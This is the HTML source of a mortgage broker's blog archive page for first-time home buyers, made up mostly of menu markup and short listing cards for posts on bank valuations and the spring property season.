                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_1" x-show="openMenus[0] === 'submenu-20372-0'" x-cloak><li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[1] === 'submenu-5887-1'}"><a href="/loans/loan-types/">Loan Types</a>
                <button @click.stop.prevent="openMenus[1] = openMenus[1] === 'submenu-5887-1' ? null : 'submenu-5887-1'"
                    x-bind:aria-expanded="openMenus[1] === 'submenu-5887-1'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_2" x-show="openMenus[1] === 'submenu-5887-1'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5992-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/variable-rate-home-loan/">Variable-Rate Home Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5988-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/fixed-rate-home-loan/">Fixed-Rate Home Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-20388-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/investment-loan/">Investment Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-20385-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/loan-refinance/">Loan Refinancing</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-12889-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/guarantor-home-loan/">Guarantor Home Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-12987-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/no-deposit-home-loans/">Low-Deposit Home Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5986-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/bridging-loan/">Bridging Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5987-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/construction/">Construction Loan</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-20392-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/equity-release-loan/">Equity Release Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5990-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/offset/">Offset Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5991-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/split-loan/">Split Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-16346-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/asset-finance/">Asset Finance</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-20395-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/commercial-loan/">Commercial Loans</a></li></ul></li><li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[1] === 'submenu-5872-1'}"><a href="/loans/borrower-types/">Borrower Type</a>
                <button @click.stop.prevent="openMenus[1] = openMenus[1] === 'submenu-5872-1' ? null : 'submenu-5872-1'"
                    x-bind:aria-expanded="openMenus[1] === 'submenu-5872-1'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_2" x-show="openMenus[1] === 'submenu-5872-1'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5871-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/first-home-buyer/">First Time Buyers</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5985-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/property-upsizers/">Property Upsizers</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-19532-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/property-investors/">Property Investors</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children" :class="{'active': openMenus[2] === 'submenu-5983-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/self-employed-home-loans/">Self-Employed</a>
                <button @click.stop.prevent="openMenus[2] = openMenus[2] === 'submenu-5983-2' ? null : 'submenu-5983-2'"
                    x-bind:aria-expanded="openMenus[2] === 'submenu-5983-2'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_3" x-show="openMenus[2] === 'submenu-5983-2'" x-cloak><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20377-3'}"><a href="/loans/borrower-types/self-employed-home-loans/#tradies">Tradies</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20378-3'}"><a href="/loans/borrower-types/self-employed-home-loans/#business-owners">Business Owners</a></li></ul></li><li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children" :class="{'active': openMenus[2] === 'submenu-19548-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/professionals/">Professionals</a>
                <button @click.stop.prevent="openMenus[2] = openMenus[2] === 'submenu-19548-2' ? null : 'submenu-19548-2'"
                    x-bind:aria-expanded="openMenus[2] === 'submenu-19548-2'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_3" x-show="openMenus[2] === 'submenu-19548-2'" x-cloak><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20379-3'}"><a href="/loans/borrower-types/professionals/#doctors">Doctors</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20381-3'}"><a href="/loans/borrower-types/professionals/#accountants">Accountants</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20380-3'}"><a href="/loans/borrower-types/professionals/#lawyers">Lawyers</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[3] === 'submenu-20382-3'}"><a href="/loans/borrower-types/professionals/#sports-people">Sports People</a></li></ul></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5982-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/expat-home-loans/">Expats</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5984-2'}"><a href="https://intuitivefinance.com.au/loans/borrower-types/self-managed-supers-funds/">SMSF</a></li></ul></li></ul></li><li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[0] === 'submenu-21779-0'}"><a href="#" @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-21779-0' ? null : 'submenu-21779-0'">Knowledge Hub</a>
                <button @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-21779-0' ? null : 'submenu-21779-0'"
                    x-bind:aria-expanded="openMenus[0] === 'submenu-21779-0'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_1" x-show="openMenus[0] === 'submenu-21779-0'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-19555-1'}"><a href="https://intuitivefinance.com.au/knowledge-hub/">Blogs</a></li><li class="cursor-default menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[1] === 'submenu-6109-1'}"><a href="#" @click.stop.prevent="openMenus[1] = openMenus[1] === 'submenu-6109-1' ? null : 'submenu-6109-1'">Help / Guide</a>
                <button @click.stop.prevent="openMenus[1] = openMenus[1] === 'submenu-6109-1' ? null : 'submenu-6109-1'"
                    x-bind:aria-expanded="openMenus[1] === 'submenu-6109-1'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_2" x-show="openMenus[1] === 'submenu-6109-1'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-16876-2'}"><a href="https://intuitivefinance.com.au/checklist-resources/">Checklist Resources</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6942-2'}"><a href="/the-key-finance-issues-all-property-upgraders-need-to-consider/">Guide - Upgraders</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6113-2'}"><a href="/7-things-all-property-investors-need-to-understand-about-finance/">Guide - Sophisticated and First time Investors</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6112-2'}"><a href="/guide-to-finance-for-self-employed-people/">Guide - Self Employed</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6943-2'}"><a href="/the-key-finance-issues-all-self-managed-super-funds-need-to-consider/">Guide - SMSF</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6944-2'}"><a href="/8-key-finance-issues-all-expatriates-need-to-understand/">Guide - Expatriates</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6111-2'}"><a href="/the-2022-guide-to-finance-for-first-homebuyers/">Guide - First Home Buyer</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[2] === 'submenu-6941-2'}"><a href="/property-buying-tips-and-handy-hints-successfully-manage-your-finances/">Guide - Buying Tips And Handy Hints</a></li></ul></li></ul></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[0] === 'submenu-5407-0'}"><a href="https://intuitivefinance.com.au/case-studies/">Case Studies</a></li><li class="contact-list-child menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children" :class="{'active': openMenus[0] === 'submenu-5433-0'}"><a href="https://intuitivefinance.com.au/contact/">Contact Us</a>
                <button @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-5433-0' ? null : 'submenu-5433-0'"
                    x-bind:aria-expanded="openMenus[0] === 'submenu-5433-0'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_1" x-show="openMenus[0] === 'submenu-5433-0'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-20560-1'}"><a href="https://intuitivefinance.com.au/financial-brokers-sydney/">Sydney</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-20561-1'}"><a href="https://intuitivefinance.com.au/financial-brokers-brisbane/">Brisbane</a></li></ul></li></ul></div>    </div>
    </div><!-- data-section="primary_navigation" -->
<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_header_button">
	<div class="header-button-wrap"><div class="header-button-inner-wrap"><a href="/appointments/" target="_self" class="button header-button button-size-medium button-style-filled">Book a Consultation</a></div></div></div><!-- data-section="header_button" -->
					</div>
							</div>
		</div>
	</div>
</div>
				</div>
			</div>
					</div>
	</div>
	
<div id="mobile-header" class="site-mobile-header-wrap">
	<div class="site-header-inner-wrap">
		<div class="site-header-upper-wrap">
			<div class="site-header-upper-inner-wrap">
			<div class="site-top-header-wrap site-header-focus-item site-header-row-layout-standard site-header-row-tablet-layout-default site-header-row-mobile-layout-default ">
	<div class="site-header-row-container-inner">
		<div class="site-container">
			<div class="site-top-header-inner-wrap site-header-row site-header-row-has-sides site-header-row-no-center">
									<div class="site-header-top-section-left site-header-section site-header-section-left">
						<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_mobile_html">
	<div class="mobile-html inner-link-style-normal"><div class="mobile-html-inner"><ul class="top_left_actions">
<li><a class="icon_cal" href="/appointments/">Book a Consultation</a></li>
<li><a class="icon_tel" href="tel:1300342505">1300 342 505</a></li>
</ul>
</div></div></div><!-- data-section="mobile_html" -->
					</div>
																	<div class="site-header-top-section-right site-header-section site-header-section-right">
											</div>
							</div>
		</div>
	</div>
</div>
<div class="site-main-header-wrap site-header-focus-item site-header-row-layout-standard site-header-row-tablet-layout-default site-header-row-mobile-layout-default ">
	<div class="site-header-row-container-inner">
		<div class="site-container">
			<div class="site-main-header-inner-wrap site-header-row site-header-row-has-sides site-header-row-no-center">
									<div class="site-header-main-section-left site-header-section site-header-section-left">
						<div class="site-header-item site-header-focus-item" data-section="title_tagline">
	<div class="site-branding mobile-site-branding branding-layout-standard branding-tablet-layout-inherit site-brand-logo-only branding-mobile-layout-inherit"><a class="brand has-logo-image" href="https://intuitivefinance.com.au/" rel="home"><picture class="custom-logo" decoding="async">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/intuitive_finance_logo.png.webp"/>
<img width="260" height="90" src="https://intuitivefinance.com.au/wp-content/uploads/2024/09/intuitive_finance_logo.png" alt="Intuitive Finance" decoding="async"/>
</picture>
</a></div></div><!-- data-section="title_tagline" -->
					</div>
																	<div class="site-header-main-section-right site-header-section site-header-section-right">
						<div class="site-header-item site-header-focus-item site-header-item-navgation-popup-toggle" data-section="kadence_customizer_mobile_trigger">
		<div class="mobile-toggle-open-container">
						<button id="mobile-toggle" class="menu-toggle-open drawer-toggle menu-toggle-style-default" aria-label="Open menu" data-toggle-target="#mobile-drawer" data-toggle-body-class="showing-popup-drawer-from-full" aria-expanded="false" data-set-focus=".menu-toggle-close"
					>
						<span class="menu-toggle-icon"><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-menu-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Toggle Menu</title><path d="M3 13h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1zM3 7h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1zM3 19h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1z"></path>
				</svg></span></span>
		</button>
	</div>
	</div><!-- data-section="mobile_trigger" -->
					</div>
							</div>
		</div>
	</div>
</div>
			</div>
		</div>
			</div>
</div>
</header><!-- #masthead -->

	<div id="inner-wrap" class="wrap hfeed kt-clear">
		<section role="banner" class="entry-hero post-archive-hero-section entry-hero-layout-standard">
	<div class="entry-hero-container-inner">
		<div class="hero-section-overlay"></div>
		<div class="hero-container site-container">
			<header class="entry-header post-archive-title title-align-inherit title-tablet-align-inherit title-mobile-align-inherit">
				<span class="parent-page-title">CATEGORY</span><h1 class="page-title archive-title">First time buyers</h1><div class="archive-description"><p>In this category you will find financial articles and useful information on the topic -First time buyers.</p>
</div>			</header><!-- .entry-header -->
		</div>
	</div>
</section><!-- .entry-hero -->
<div id="primary" class="content-area">
	<div class="content-container site-container">
		<main id="main" class="site-main" role="main">
							<div id="archive-container" class="content-wrap grid-cols post-archive grid-sm-col-2 grid-lg-col-2 item-image-style-above">
					
<article class="entry content-bg loop-entry post-19505 post type-post status-publish format-standard has-post-thumbnail hentry category-first-time-buyers category-home-buying-selling">
			<a class="post-thumbnail kadence-thumbnail-ratio-2-3" href="https://intuitivefinance.com.au/all-you-need-to-know-about-bank-valuations/">
			<div class="post-thumbnail-inner">
				<picture class="attachment-medium_large size-medium_large wp-post-image" decoding="async" fetchpriority="high">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-768x220.jpg.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-300x86.jpg.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-1024x294.jpg.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-1536x440.jpg.webp 1536w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner.jpg.webp 1563w" sizes="(max-width: 768px) 100vw, 768px"/>
<img width="768" height="220" src="https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-768x220.jpg" alt="All You Need to Know About Bank Valuations" decoding="async" fetchpriority="high" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-768x220.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-300x86.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-1024x294.jpg 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner-1536x440.jpg 1536w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner.jpg 1563w" sizes="(max-width: 768px) 100vw, 768px"/>
</picture>
			</div>
		</a><!-- .post-thumbnail -->
			<div class="entry-content-wrap">
		<header class="entry-header">

			<div class="entry-taxonomies">
			<span class="category-links term-links category-style-normal">
				<a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
		</div><!-- .entry-taxonomies -->
		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/all-you-need-to-know-about-bank-valuations/" rel="bookmark">All You Need to Know About Bank Valuations</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2024-09-20T12:44:47+10:00">September 20, 2024</time><time class="updated" datetime="2025-03-14T01:42:23+10:00">March 14, 2025</time>					</span>
					</div><!-- .entry-meta -->
</header><!-- .entry-header -->
	<div class="entry-summary">
		<p>When it comes to property valuations in Australia, there are generally two primary types: market valuations and bank valuations. A market valuation represents the estimated price your property could sell for in the cu&#8230;</p>
	</div><!-- .entry-summary -->
	<footer class="entry-footer">
		<div class="entry-actions">
		<p class="more-link-wrap">
			<a href="https://intuitivefinance.com.au/all-you-need-to-know-about-bank-valuations/" class="post-more-link">
				Read More<span class="screen-reader-text"> All You Need to Know About Bank Valuations</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-alt-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="27" height="28" viewBox="0 0 27 28"><title>Continue</title><path d="M27 13.953c0 0.141-0.063 0.281-0.156 0.375l-6 5.531c-0.156 0.141-0.359 0.172-0.547 0.094-0.172-0.078-0.297-0.25-0.297-0.453v-3.5h-19.5c-0.281 0-0.5-0.219-0.5-0.5v-3c0-0.281 0.219-0.5 0.5-0.5h19.5v-3.5c0-0.203 0.109-0.375 0.297-0.453s0.391-0.047 0.547 0.078l6 5.469c0.094 0.094 0.156 0.219 0.156 0.359v0z"></path>
				</svg></span>			</a>
		</p>
	</div><!-- .entry-actions -->
	</footer><!-- .entry-footer -->
	</div>
</article>

<article class="entry content-bg loop-entry post-19497 post type-post status-publish format-standard has-post-thumbnail hentry category-first-time-buyers category-home-buying-selling">
			<a class="post-thumbnail kadence-thumbnail-ratio-2-3" href="https://intuitivefinance.com.au/getting-the-most-out-of-the-spring-property-season/">
			<div class="post-thumbnail-inner">
				<picture class="attachment-medium_large size-medium_large wp-post-image" decoding="async">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-scaled.jpg.webp 2560w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-300x86.jpg.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-1024x293.jpg.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-600x172.jpg.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-768x220.jpg.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-450x129.jpg.webp 450w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-1920x550.jpg.webp 1920w" sizes="(max-width: 768px) 100vw, 768px"/>
<img width="768" height="220" src="https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-scaled.jpg" alt="Getting the Most out of the Spring Property Season" decoding="async" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-scaled.jpg 2560w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-300x86.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-1024x293.jpg 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-600x172.jpg 600w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-768x220.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-450x129.jpg 450w, https://intuitivefinance.com.au/wp-content/uploads/2024/08/INT00884526.0824_September_2024_EDM_V13-1920x550.jpg 1920w" sizes="(max-width: 768px) 100vw, 768px"/>
</picture>
			</div>
		</a><!-- .post-thumbnail -->
			<div class="entry-content-wrap">
		<header class="entry-header">

			<div class="entry-taxonomies">
			<span class="category-links term-links category-style-normal">
				<a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
		</div><!-- .entry-taxonomies -->
		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/getting-the-most-out-of-the-spring-property-season/" rel="bookmark">Getting the Most out of the Spring Property Season</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2024-08-26T11:05:47+10:00">August 26, 2024</time><time class="updated" datetime="2025-03-14T01:42:49+10:00">March 14, 2025</time>					</span>
					</div><!-- .entry-meta -->
</header><!-- .entry-header -->
	<div class="entry-summary">
		<p>Spring is just around the corner. It will bring longer days and warmer weather &#8211; but more excitingly, history tells us this is the season for bumper property activity.</p>
<p>Vendors emerge from a winter slumber, bringing t&#8230;</p>
	</div><!-- .entry-summary -->
	<footer class="entry-footer">
		<div class="entry-actions">
		<p class="more-link-wrap">
			<a href="https://intuitivefinance.com.au/getting-the-most-out-of-the-spring-property-season/" class="post-more-link">
				Read More<span class="screen-reader-text"> Getting the Most out of the Spring Property Season</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-alt-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="27" height="28" viewBox="0 0 27 28"><title>Continue</title><path d="M27 13.953c0 0.141-0.063 0.281-0.156 0.375l-6 5.531c-0.156 0.141-0.359 0.172-0.547 0.094-0.172-0.078-0.297-0.25-0.297-0.453v-3.5h-19.5c-0.281 0-0.5-0.219-0.5-0.5v-3c0-0.281 0.219-0.5 0.5-0.5h19.5v-3.5c0-0.203 0.109-0.375 0.297-0.453s0.391-0.047 0.547 0.078l6 5.469c0.094 0.094 0.156 0.219 0.156 0.359v0z"></path>
				</svg></span>			</a>
		</p>
	</div><!-- .entry-actions -->
	</footer><!-- .entry-footer -->
	</div>
</article>

<article class="entry content-bg loop-entry post-18344 post type-post status-publish format-standard has-post-thumbnail hentry category-first-time-buyers category-home-buying-selling">
			<a class="post-thumbnail kadence-thumbnail-ratio-2-3" href="https://intuitivefinance.com.au/timing-the-market-vs-time-in-the-market/">
			<div class="post-thumbnail-inner">
				<picture class="attachment-medium_large size-medium_large wp-post-image" decoding="async">
